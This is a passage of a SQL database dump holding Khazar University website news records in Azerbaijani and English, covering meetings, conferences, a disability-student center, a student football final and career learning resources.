event.&nbsp;</p>'),(3221,1897,'en','Meeting with representatives of International Relations Office of Ministry of Education','On February 16, 2017, a meeting with the representatives of the International Relations Office of the Ministry of Education of Azerbaijan was held at Khazar University...','<p>On February 16, 2017, a meeting with the representatives of the\r\nInternational Relations Office of the Ministry of Education of Azerbaijan was\r\nheld at Khazar University. The meeting was attended by Ilqar Yusubov, Deputy\r\nDirector of the International Relations Office of the Ministry of Education;\r\nMujdat Hasanov, Senior Advisor of the Ministry; Hassan Niknafs, President of\r\nKhazar University, Mohammad Nuriyev, Vice-Rector for Academic Affairs; Mukhtar\r\nHajizade; Head of Khazar University’s Department of International Relations and\r\nPolitical Affairs; and Turan Jafarova, Director of the International Relations\r\nOffice. Detailed information about the international relations of Khazar\r\nUniversity was given to the guests. &nbsp;</p>\r\n<p>Discussions included\r\nissues such as simplifying nostrification procedures for international\r\nstudents, publicizing information about the university in many languages,\r\nlaunching online international admission platform. The meeting participants\r\nalso discussed possibilities of holding university admission exams several\r\ntimes a year instead of the current pattern of only one exam yearly, issuing\r\nwork permits for international doctoral students, and providing Ministry of\r\nEducation scholarships for foreign nationals.</p>'),(3222,1896,'az','Dr. Rəsul Muradinin xarici jurnalda  məqaləsi çap olunb','Xəzər Universiteti Kimya mühəndisliyi departamentinin koordinatoru Dr. Rəsul Muradinin “Synthesis and Preparation of Mono-Layer h-BN Nanopowders by Using a Combination...','<p>Xəzər\r\nUniversiteti Kimya mühəndisliyi departamentinin koordinatoru Dr. Rəsul\r\nMuradinin “Synthesis and\r\nPreparation of Mono-Layer h-BN Nanopowders by Using a Combination of CVD Method\r\nwith Isopropanol-Assisted Exfoliation Process”<strong> </strong>(“İzopropanol-dəstəkli aşındırma prosesi ilə CVD\r\nmetodunu bir arada istifadə edərək, təklaylı h-BN nanotozların sintezi və\r\nhazırlanması”) adlı məqaləsi “Springer” nəşriyyatının <em>“Powder Metallurgy and Metal Ceramics”</em> (“Toz metallar və metal\r\nkeramika”) jurnalında (cild 55, yanvar 2017, səh. 34-46) çap olunub.</p><p>Dr. Muradi Xəzər Universitetində çalışmağa 2016-ci\r\nilin sentyabrında Tehran Universitetindən gəlmişdir. Onun tədqiqat sahəsi mühəndisliyin\r\nmüxtəlif tətbiqi sahələri üçün nano-texnologiya materiallarından istifadə edərək\r\nmembranların hazırlanmasıdır. Dr. Muradi laboratoriya quraraq, nano-texnologiya\r\nüzrə tədqiqat işlərini neft mühəndisliyi, mexanika mühəndisliyi və\r\nbio-texnologiya mühəndisliyi kimi sahələrdə genişləndirmək üçün Xəzər\r\nUniversitetinin tədqiqatçılarından ibarət bir komandaya rəhbərlik edəcək.</p>'),(3223,1898,'az','Xəzər Universitetində keçirilən elmi-praktiki konfrans respublikanın KİV-də','Xəbər verildiyi kimi, 2017-ci il fevralın 17-də Xəzər Universitetində Dövlət Miqrasiya Xidmətinin (DMX) yaradılmasının 10-cu ildönümünə həsr olunmuş...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəbər verildiyi kimi, 2017-ci il fevralın\r\n17-də Xəzər Universitetində Dövlət Miqrasiya Xidmətinin (DMX) yaradılmasının\r\n10-cu ildönümünə həsr olunmuş “Azərbaycanda miqrasiya siyasəti: nailiyyətlər və\r\ninkişaf perspektivləri” mövzusunda respublika elmi-praktiki konfrans keçirilmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədbir respublikanın müxtəlif KİV-də öz əksini\r\ntapmışdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064\">http://azertag.az/xeber/Dovlet_Miqrasiya_Xidmeti_terefinden_71_mine_yaxin_sexsin_Azerbaycan_vetendasligina_mensubiyyeti_taninib-1036064</a>;\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141\">http://www.azerbaijan-news.az/index.php?mod=3&amp;id=116141</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans\">http://www.itv.az/index.php/az/tele/doevlaet-migrasiya-khidmaetinin-yarad-lmas-n-n-10-illiyinae-haesr-olunan-konfrans</a>.</p>'),(4338,2570,'az','Xəbərlər','Xəbərlər','<h3>Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru işgüzar səfərdə</h3>\r\n<p>2018-ci il mayın 8-də Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova ABŞ-ın Nevada Universitetinin Əlilliyi olan şəxslər üçün Resurs Mərkəzində (<em>Disability Resource Center</em>) oldu və Mərkəzin direktor assistenti Meri Anni Kristensen (<em>Mary Anne Christensen</em>) ilə görüşdü. O, görüş zamanı Nevada Universitetinin Əlilliyi olan şəxslər üçün Resurs Mərkəzin fəaliyyəti ilə tanış oldu və Xəzər Universitetində fəaliyyət göstərən Əlilliyi olan Tələbələr üçün Mərkəz haqqında məlumat verdi.</p><p>Qeyd edək ki, Rima Məmmədova hazırda ABŞ Konqresinin maliyyə dəstəyi ilə həyata keçirilən Azərbaycanda ABŞ səfirliyinin idarə etdiyi Əlilliyin Müdafiəsi və İslahatlar üçün Açıq Dünya (<em>Open World Program for Disability Advocacy and Reform</em>) adlı mübadilə proqramı çərçivəsində Amerikanın Rino şəhərində işgüzar səfərdədir.</p><p><br></p>  <h3 style=\"text-align:justify\"></h3><h3>Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru ESFİDİP layihəsi haqqında danışdı</h3><p>Açıq Hökumət portalı Azərbaycanda əlilliyi olan uşaqların və tələbələrin təhsili haqqında reportaj hazırlamışdır. Xəzər Universiteti Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova reportaj üçün müsahibə vermişdir. Müsahibə zamanı layihə koordinatoru R.Məmmədova Xəzər Universitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın Ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) Tempus layihəsi haqqında geniş məlumat vermiş, layihənin məqsədi və vacibliyi haqqında danışmış və Azərbaycanın altı qabaqcıl universitetlərində yaradılmış Əlilliyi olan Tələbələr üçün Mərkəzlərin fəaliyyəti haqqında da məlumat vermişdir.</p><p><span style=\"text-align:justify\">Reportaja aşağıdakı linkdə baxmaq olar:</span></p><p><span style=\"text-align:justify\"><a href=\"https://www.youtube.com/watch?v=5SxADNxaY50&amp;feature=youtu.be\">https://www.youtube.com/watch?v=5SxADNxaY50&amp;feature=youtu.be</a></span></p>  <p><br></p>  <br><h3 style=\"text-align:justify\">Əlilliyi olan Tələbələr üçün Mərkəz əlilliyi olan tələbələri və məzunları əməkdaşlığa dəvət edir</h3><p>Hörmətli Xəzər Universitetinin əlilliyi olan tələbələri və məzunları!&nbsp;</p><p style=\"text-align:justify\">Hazırda iş axtarırsınızsa, CV-lərinizi&nbsp;<a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>&nbsp;e-mail ünvanına göndərməyiniz xahiş olunur. Xəzər Universitetinin Əlilliyi olan Tələbələr üçün Mərkəzi bu sahədə Sizə dəstək göstərməyə hazırdır.</p><p style=\"text-align:justify\">Hər hansı bir sualınız olarsa, e-mail və ya (012) 421-10-93 (dax. 234) telefon nömrəsi ilə əlaqə saxlaya bilərsiniz.</p><p><img src=\"http://www.khazar.org/files/ESFIDIP/disability.jpg\" style=\"border:0px #000000;float:left;margin:7px;width:700px;height:985px;vertical-align:text-bottom\"></p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 style=\"text-align:justify\">Xəzər Universitetinin layihəsi “İnnovasiya üçün tərəfdaşlıq” proqramının saytında yayınlandı</h3><p style=\"text-align:justify\">Xəzər Universitetinin koordinator olduğu “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi və layihə çərçivəsində yaradılmış Əlilliyi olan Tələbələr üçün Mərkəzlər haqqında məlumat “İnnovasiya üçün tərəfdaşlıq” (<em>Partnership for Innovation</em>) proqramının saytında yayınlanmışdır.</p><p style=\"text-align:justify\">Qeyd edək ki, “İnnovasiya üçün tərəfdaşlıq” (<em>Partnership for Innovation</em>) proqramı 2012-ci ildə Qazaxstanda həyata keçirilməyə başlanmış və məqsədi QHT-lərin potensialını artırmaqla Mərkəzi Asiyada vətəndaş cəmiyyətini gücləndirmək və regional əməkdaşlığı genişləndirməkdən ibarətdir.</p><p style=\"text-align:justify\">Daha geniş məlumatı bu link vasitəsilə əldə etmək olar:</p><p style=\"text-align:justify\"><a href=\"http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/\">http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/</a></p><p style=\"text-align:justify\">Mərkəzi Asiya və Azərbaycanda fəaliyyət göstərən vətəndaş cəmiyyətləri arasında qarşılıqlı əlaqəni, şəbəkələşməyi və davamlı inşikaf vasitəsilə hər iki ölkənin vətəndaş cəmiyyətinin gücləndirilməsindən ibarətdir.</p><p style=\"text-align:justify\"><a href=\"http://argonet.org/en/projects/partnership-for-innovations-program/\">http://argonet.org/en/projects/partnership-for-innovations-program/</a>.</p>'),(4339,2570,'en','News','News','<h3>Business trip of Coordinator of Center for Students with Disabilities to the USA</h3>\r\n<p>On May 8, 2018, Rima Mammadova, Coordinator of the Center for Students with Disabilities of Khazar University, visited Disability Resource Center of Nevada University and met with Mary Anne Christensen, Director of the Center. During the meeting, Rima Mammadova became familiar with Disability Resource Center of Nevada University and gave information about Center for Students with Disabilities at Khazar University.</p><p>At the moment, Rima Mammadova is on a business trip to Reno city, USA, within <strong><em>Open World Program for Disability Advocacy and Reform</em></strong> Exchange Program financed by USA Congress and managed by USA Embassy to Azerbaijan.</p>  \r\n<h3>Coordinator of the Centre for Students with Disabilities at Khazar University spoke about ESFİDİP project</h3><p>Open Government portal has prepared a reportage on the current state of education of children and students with disabilities in Azerbaijan. Rima Mammadova, the Coordinator of Khazar University Center for Students with Disabilities, gave an interview for the reportage. During the interview, R.Mammadova, the project coordinator, gave a broad introduction about the \"Establishment of Integration of people with Disabilities into Higher Education Institutions of Azerbaijan\" Tempus project, coordinated by her and spoke about the purpose and importance of the project. She also gave information about the established six Centers for students with Disabilities at the leading universities of Azerbaijan.  The reportage can be watched through following link:</p><p><a href=\"https://www.youtube.com/watch?v=5SxADNxaY50&amp;feature=youtu.be\">https://www.youtube.com/watch?v=5SxADNxaY50&amp;feature=youtu.be</a><br></p><p><br></p><h3>Center for students with disabilities invites students and alumni with disabilities to cooperate</h3>  <p style=\"text-align:justify\">Dear students and alumni with disabilities!</p><p style=\"text-align:justify\">If you are currently looking for a job, please send your CVs to&nbsp;<a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>. Center for Students with Disabilities at Khazar University is ready to support you on this issue.</p><p style=\"text-align:justify\">If you have any questions, please contact us by e-mail or by phone (012) 421&nbsp;10&nbsp;93 (ext. 234)&nbsp;</p><p><img src=\"http://www.khazar.org/files/ESFIDIP/disability.jpg\" style=\"border:0px #000000;float:left;margin:7px;width:700px;height:985px;vertical-align:baseline\"></p>  <h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><h3><br></h3><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></h3><h3>Information about ESFIDIP Tempus project was published in Kazakhstan  <br></h3><p style=\"text-align:justify\">The information about “The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) Tempus Project, coordinated by Khazar University and the Centers for Students with Disabilities established within the framework of the project was published on the website of&nbsp;Partnership for Innovation.</p><p>Here is the link for further information:</p><p><a href=\"http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/\">http://cso-central.asia/v-azerbajdzhanskix-vuzax-sozdany-centry-dlya-studentov-s-invalidnostyu/</a></p><p>We would like to mention that the “Partnership for Innovations – P4I” Program coordinated by ARGO Civil Society Development Association (Kazakhstan) aims at strengthening of civil society in both countries through mutual communication, networking and sustainable co-operation among civil society in Central Asia and Azerbaijan.</p><p>&nbsp;</p><p>Here is the link for further information:</p><p><a href=\"http://argonet.org/en/projects/partnership-for-innovations-program/\">http://argonet.org/en/projects/partnership-for-innovations-program/</a></p>'),(3574,2093,'en','“Play, my tar“ in “Culture” Newspaper','On April 19, 2017 an article was published in the newspaper “Culture” about the event held on the 14th of April at Khazar University “Dunya” concert hall devoted to the...','<p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">On April 19, 2017 an article was published in the newspaper “Culture” about the event held on the 14<sup>th</sup>&nbsp;of April at Khazar University “Dunya” concert hall devoted to the outstanding tar player, People’s Artist, Prof. Ramiz Guliyev’s 70<sup>th</sup>&nbsp;jubilee.&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\" style=\"background-image: url(&quot;../images/outline-p.png&quot;);\">The article is available in the 29<sup>th</sup>&nbsp;edition of “Culture” newspaper (№29 (1417) April 19, 2017).</p>'),(3575,2096,'az','“Elm üçbucağı”nın növbəti buraxılışı oldu','2017-ci il aprelin 23-də Xəzər Universitetinin təsisçisi, Direktorlar Və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” verlişinin növbəti buraxılışı İctimai TV...','<p>2017-ci\r\nil aprelin 23-də Xəzər Universitetinin təsisçisi, Direktorlar Və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının “Elm üçbucağı” verlişinin növbəti\r\nburaxılışı İctimai TV-də yayımlandı. Verilişin budəfəki buraxılışı “Elmin\r\ninkişafında müxtəlif təşkilatların rolu” (Tarix boyu və yaxın zamanlarda) mövzusuna\r\nhəsr olunmuşdu. Verilişdə Xəzər Universitetinin müəllim və peşəkar heyəti qonaq\r\nkimi iştirak edirdi.&nbsp;</p>'),(3920,2283,'en','The representative of Khazar University participated in the conference called ‘National consultations on the protection of migrants in the context of crisis’','On June 14, 2017, Rima Mammadova, the project coordinator of Khazar University attended the conference on \"National consultations on the protection of migrants in the context...','<p>On June 14, 2017, Rima Mammadova, the project\r\ncoordinator of Khazar University attended the conference on \"National\r\nconsultations on the protection of migrants in the context of Crisis\" &nbsp;organised by the International Organization\r\nfor Migration (IOM). Parviz Musayev, Deputy Head of the State Migration, Chiara\r\nMilano, the Migrants in Countries in Crisis Secretariat (MICIC) and Serhan\r\nAktoprak, Chief\r\nof the International Organization for Migration (IOM) delivered speeches in the conference. The information about migrants’ initiative\r\nregarding Global Compact and Countries in Crisis and opinions related to the topic were discussed during\r\nthe meeting. Rima Mammadova mentioned the importance of getting a &nbsp;higher education for migrants and stated the\r\nnecessity of paying more attention to this area. The conference ended with\r\nfurther dicussions and proposals.&nbsp;</p>'),(3264,1923,'az','“Panzer” komandası çempion oldu','2017-ci il fevralın 18-də Xəzər Universiteti Tələbə Məclisinin təşkil etdiyi universitetdaxili futbol çempionatının final qarşılaşması keçirildi. Çempionata noyabrın sonunda...','<p>2017-ci\r\nil fevralın\r\n18-də Xəzər Universiteti Tələbə Məclisinin təşkil\r\netdiyi universitetdaxili futbol çempionatının final qarşılaşması keçirildi.\r\nÇempionata noyabrın sonunda 10 komanda ilə start verilmiş, lakin sonradan 2\r\nkomanda oyunlara gəlmədiyi üçün kənarlaşdırılmışdı. 3 ay davam edən çempionatda\r\n8 komanda mübarizə aparmışdır.</p>\r\n<p>Final\r\nqarşılaşmasında “Panzer” və “İnternational Stars” komandaları qarşı-qarşıya gəldi.\r\nOyun “Panzer”in 4-1 qalibiyyəti ilə sona çatdı. 2016-2017-ci tədris ilinin\r\nçempionu “Panzer” komandası oldu.</p>'),(3265,1924,'az','Xəzər Universitetində Ümumdünya Mülki Müdafiə Gününə həsr edilmiş tədbir keçiriləcək','2017-ci il fevralın 28-i saat 14:00-da 1 Mart – Ümumdünya Mülki Müdafiə Gününə həsr edilmiş tədbir keçiriləcək...','<p>2017-ci il fevralın 28-i saat 14:00-da 1 Mart –\r\nÜmumdünya Mülki Müdafiə Gününə həsr edilmiş tədbir keçiriləcək. Tədbir Xəzər\r\nUniversitetinin “Neftçilər” korpusunda (otaq 206) keçiriləcək. </p>\r\n<p>İştirak etmək istəyən hər kəs dəvətlidir.&nbsp;</p>'),(3266,1923,'en','“Panzer” became Champion','On February 18, 2017, the final match of the university-wide football championship organized by Khazar University Student Union took place. The championship started as a competition...','<p>On February\r\n18, 2017, the final match of the university-wide football championship\r\norganized by Khazar University Student Union took place. The championship\r\nstarted as a competition of ten teams. As two of the teams never participated\r\nin the matches, eight teams were competing for the championship trophy. </p>\r\n<p>“Panzer”\r\nand “International stars” played the final match on February 18. The match\r\nended with a score of 4-1 – “Panzer” became the champion of the 2016/17\r\nacademic year.&nbsp;</p>'),(3267,1921,'en','Khazar Review Journal January Issue Published','The January issue of the Khazar Review journal (number 358) was published by Khazar University Press. The journal is available electronically at this link...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The January issue of the Khazar Review journal (number 358)\r\nwas published by Khazar University Press. The journal is available\r\nelectronically at this link:</p>\r\n<p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3271,1899,'en','Khazar University Staff Member Participates in Meeting at Azerbaijan University of Languages','On February 17, 2017, Rima Mammadova, coordinator of the Center for Students with Disabilities and “The Establishment of a Foundation for the Integration of Disabled People into...','<p style=\"\" margin-top:1.2pt;margin-right:0in;margin-bottom:.0001pt;margin-left:0in;text-align:justify\"\"=\"\">On February 17, 2017, Rima Mammadova,\r\ncoordinator of the Center for Students with Disabilities and “The Establishment\r\nof a Foundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\n(ESFIDIP) Tempus project, participated in a seminar on “Opportunities for the\r\npeople with physical disabilities and challenges faced by them. Inclusive\r\neducation” held at the University of Languages. Rima Mammadova made a\r\npresentation on “Inclusive Education at HEIs of Azerbaijan and existing\r\nproblems”.</p>\r\n<p>In her\r\npresentation, she gave statistical information on children and young people\r\nwith disabilities and discussed the conditions required for inclusive education\r\nat Azerbaijani universities.</p>\r\n<p>She also spoke\r\nabout the activities implemented within the framework of the “The Establishment\r\nof a Foundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\n(ESFIDIP) project. At the end of the presentation, she addressed the challenges\r\narising during the implementation of inclusive education and suggested ways to\r\neliminate them.</p>\r\n<p>The event was\r\nattended by representatives of various governmental and non-governmental organizations\r\nand students. ESFIDIP project partners, Azerbaijan State Economic University\r\n(Sevinj Mahsimova) and the Ministry of Education (Anar Khalafov), were also\r\npresent in the meeting.&nbsp;</p>'),(3273,1926,'en','IV International Psychology Conference to be held at Khazar University','On April 22-23, 2017, the Fourth International Psychology Conference will be held at Khazar University. Conference keynote speakers include: Prof. Dr. Ali Kemal Tekin...','<p>On April 22-23, 2017, the Fourth International Psychology Conference\r\nwill be held at Khazar University. Conference keynote speakers include: Prof.\r\nDr. Ali Kemal Tekin, Oman University; Prof. Dr. Yaşar Ozbay, Hasan Kalyoncu\r\nUniversity; Dr. Ayten Zara and Dr. Burhanettin Kaya, Istanbul Bilgi University;\r\nDarya Gafarzade, Moscow Pedagogical University.</p>\r\n<p>Please follow the link below to register: </p>\r\n<p><a href=\"https://goo.gl/forms/zLhCPXg7YXMTAyyu1\">https://goo.gl/forms/zLhCPXg7YXMTAyyu1</a>.</p>'),(3274,1925,'en','Career Center Coordinator met with French Institute Representative','On February 21, 2017, Ulviyya Huseynov, coordinator of Khazar University Career Center met with Jervez Máté, representative of French Institute. The aim of the meeting was to...','<p>On February\r\n21, 2017, Ulviyya Huseynov, coordinator of Khazar University Career Center met\r\nwith Jervez Máté, representative of French Institute. The aim of the meeting\r\nwas to discuss possible partnership between these two institutions. The\r\nobjective of their partnership is to ensure Khazar University students’\r\nparticipation in French Institute’s festive events in April. They also\r\ndiscussed the possibility of future cooperation.&nbsp;</p>'),(3492,2060,'az','Nizami rayonu 328 nömrəli məktəbinin yuxarı sinif şagirdləri Xəzər Universitetində oldular','2017-ci il aprelin 12-də Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin təşəbbüsü ilə Nizami rayonu 328 nömrəli məktəbinin yuxarı sinif şagirdlərinin universitetlə...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il aprelin 12-də Xəzər Universiteti Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin təşəbbüsü ilə Nizami rayonu 328 nömrəli məktəbinin yuxarı sinif\r\nşagirdlərinin universitetlə tanış olması məqsədilə “Açıq qapı günləri” çərçivəsində\r\ntədbir keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məktəblilər departamentlər, dərs otaqları, laboratoriyalar və kitabxana\r\nilə tanış olduqdan sonra “Mərmər” zalda universitetin təqdimatı ilə bağlı videoçarxı\r\nizlədilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Daha sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı universitet, ixtisaslar, təhsil şərtləri\r\nvə s. barədə şagirdlərə məlumat verdi, onların suallarını cavablandırdı. Tədbirin\r\nsonunda məktəbin direktoru Asif Nəbiyev univeritetin rəhbərliyinə, şəxsən\r\nHamlet İsaxanlıya və tədbirin təşkilatçılarına göstərdikləri diqqət və qonaqpərvərliyə\r\ngörə təşəkkürünü bildirərək, Xəzər Universiteti ilə məktəb arasında əlaqələrin\r\ndaha da sıxlaşdırılması və genişləndirilməsi ilə bağlı arzularını bildirdi.&nbsp;</p>'),(3337,1957,'az','Şirkətlər','Şirkətlər','<p>Xoş gəlmisiniz!&nbsp;Xəzər Universitetinə&nbsp;və tələbələrimizə olan&nbsp;marağınıza&nbsp;görə təşəkkürlər.&nbsp;Peşə İnkişaf Mərkəzi olaraq işçi&nbsp;qəbulu ilə&nbsp;bağlı qarşılaşdığınız problemləri anlayırıq. </p>\r\n<p>Təklif etdiyiniz imkanları Xəzər tələbələri&nbsp;və məzunları&nbsp;ilə&nbsp;bölüşməkdən məmnunuq.&nbsp;&nbsp;</p>\r\n<p>Peşə İnkişaf Mərkəzi sizə aşağıdakı əməkdaşlıq formalarını təklif edir:</p>\r\n<p>-&nbsp;<a href=\"http://www.khazar.org/az/menus/478/emek_yarmarkalari\">Əmək yarmarkaları</a></p><p>-&nbsp;<a href=\"http://www.khazar.org/az/menus/477/biznes_gorushleri\">Biznes Görüşləri</a></p><p>-&nbsp;<a href=\"http://www.khazar.org/mfe/Təlimlər\">Təlimlər  <br></a></p>'),(3339,1960,'en','Meeting with Lyon 2 University Delegation','On March 3, 2017, a meeting with the representatives of Lyon 2 University was held at Khazar University. The main objective of the meeting was to discuss the perspectives...','<p>On March 3, 2017, a meeting with the representatives\r\nof Lyon 2 University was held at Khazar University. The main objective of the\r\nmeeting was to discuss the perspectives on future collaboration between the two\r\nuniversities.&nbsp;The\r\nmeeting was attended by Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees; President Hassan Niknafs;\r\nMahammad Nuriyev, Vice Rector for Academic Affairs; deans and other staff\r\nmembers. After Hamlet Isaxanli’s welcoming remarks, Raziya Isayeva, Development\r\nDirector of Khazar University, made a presentation about Khazar University. Jim\r\nWalker, Vice Rector for International Relations of Lyon 2 University, informed\r\nthe meeting participants about Lyon 2 University.</p>\r\n<p>At the end of the meeting, a memorandum of\r\nunderstanding was signed. &nbsp;</p>'),(3341,1961,'en','Learning Resources','Learning Resources','<h2>Body Language</h2><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/mMmUm17oWEc\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><h2>How to write&nbsp;a winning CV</h2><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/whucmWvO0bI\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><hr><h2>S<strong>alary package</strong><strong>&nbsp;negotiating</strong></h2><p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/JRzEMz60g-Q\" frameborder=\"0\"></iframe></p><p>&nbsp;</p><hr><p>&nbsp;</p><h2><strong>Letter of Recommendation: Tips &amp; Strategies</strong></h2><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/uHJ6R0QQRr0\" frameborder=\"0\"></iframe>'),(3342,1961,'az','Öyrənmə Resursları','Öyrənmə Resursları','<h2>Body Language</h2><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/mMmUm17oWEc\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><h2>How to write&nbsp;a winning CV</h2><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/whucmWvO0bI\" frameborder=\"0\"></iframe><p>&nbsp;</p><p>&nbsp;</p><hr><h2>S<strong>alary package</strong><strong>&nbsp;negotiating</strong></h2><p><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/JRzEMz60g-Q\" frameborder=\"0\"></iframe></p><p>&nbsp;</p><hr><p>&nbsp;</p><h2><strong>Letter of Recommendation: Tips &amp; Strategies</strong></h2><iframe width=\"480\" height=\"390\" src=\"http://www.youtube.com/embed/uHJ6R0QQRr0\" frameborder=\"0\"></iframe>'),(3343,1962,'az','“Knotty Game” intellektual oyununun Xəzər Universiteti üzrə seçmə mərhələsi təşkil olundu','2017-ci il martın 4-də Xəzər Universiteti Tələbə Məclisinin texniki dəstəyi və IB Club-un (www.ibclub.az) təşkilati dəstəyi ilə “Knotty Game” intellektual oyununun Xəzər Universiteti...','<p>2017-ci\r\nil martın 4-də Xəzər Universiteti Tələbə Məclisinin texniki dəstəyi və IB\r\nClub-un (<a href=\"http://www.ibclub.az/\">www.ibclub.az</a>) təşkilati dəstəyi ilə “Knotty Game” intellektual oyununun\r\nXəzər Universiteti üzrə seçmə mərhələsi təşkil olundu. Ümumi 8 komandanın\r\niştirakı ilə keçirilmiş yarışmada ilk 3 yeri tutan komanda universiteti bu ilin\r\nmayında keçiriləcək olan universitetlərarası çempionatda təmsil edəcək: 1. “To\r\nbe continued” (Təhsil fakültəsi); 2. “Shastel” (Mühəndislik və tətbiqi elmlər\r\nfakültəsi); 3. “Mr. Robot” (Mühəndislik və tətbiqi elmlər fakültəsi).</p>\r\n<p>Komandalararası\r\nmübarizəni əsas tutan “Knotty Game” 3 mərhələdə (dünyagörüşü, məntiq, “hə-yox”\r\ntipli suallar mərhələsi) oynanılır. “Knotty Game” dünya görüşünü, intellekti,\r\nkomanda işini, əzmi, qələbə üçün mübarizəni özündə əks etdirən oyun olmaqla,\r\niştirakçıları rəqabətcil intellekt mübarizəsinə çağırır. &nbsp;</p>'),(3344,1963,'az','Tələbə Məclisi “Telekommunikasiya sahəsində qlobal trendlər” adlı seminar keçirdi','2017-ci il martın 4-də Xəzər Universiteti Tələbə Məclisinin təşkilatçılığı ilə “Telekommunikasiya sahəsində qlobal trendlər” adlı seminar keçirildi. Seminarı “Bakcell” şirkətinin...','<p>2017-ci\r\nil martın 4-də Xəzər Universiteti Tələbə Məclisinin təşkilatçılığı ilə “Telekommunikasiya\r\nsahəsində qlobal trendlər” adlı seminar keçirildi. Seminarı “Bakcell” şirkətinin\r\nəməkdaşı, mühəndis Orxan Bədəlov 